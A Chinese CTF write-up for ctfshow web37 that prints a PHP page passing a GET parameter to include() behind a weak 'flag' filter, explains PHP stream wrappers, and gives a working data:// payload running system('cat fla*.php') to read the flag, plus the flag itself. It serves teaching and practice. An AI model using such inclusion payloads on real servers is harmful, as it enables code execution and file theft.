ctfshow-命令执行-web37

ctfshow-web37

文章目录


题目描述:

ctfshow-命令执行-web37

原理:

审计:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){ //过滤了flag
        include($c);                //文件包含漏洞,包含变量c
        echo $flag;                //输出变量flag的内容
    
    }
        
}else{
    highlight_file(__FILE__);
} 

方法:

思路:

利用文件按包含漏洞,data协议

以为include()函数可以文件包含一个文件,并且可以执行该文件的内容(如果该文件有代码内容的话)
这个题是include包含的变量c,同样,可以利用文件包含漏洞,将c变量想办法变更成php代码,从而通过include函数执行。

协议:

php://协议
php:// 访问各个输入/输出流,在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行

file://协议 用于访问本地文件系统,在CTF中通常用来读取本地文件

data://协议 通常可以用来执行PHP代码

payload:
http://31dfeb01-c218-4654-a73b-b762ec34a248.challenge.ctf.show/?c=data://text/plain,<?php system("cat fla*.php");?>
ls查看有什么文件,发现flag.php
ctfshow-命令执行-web37
cat flag.php
http://31dfeb01-c218-4654-a73b-b762ec34a248.challenge.ctf.show/?c=data://text/plain,<?php system("cat fla*.php");?>
得到flag
ctfshow-命令执行-web37

Flag:

ctfshow{f743851c-e2ec-4033-b3ed-356d7ac1863d}

上一篇:CTFshow 命令执行 web68


下一篇:CTFshow 信息收集 web1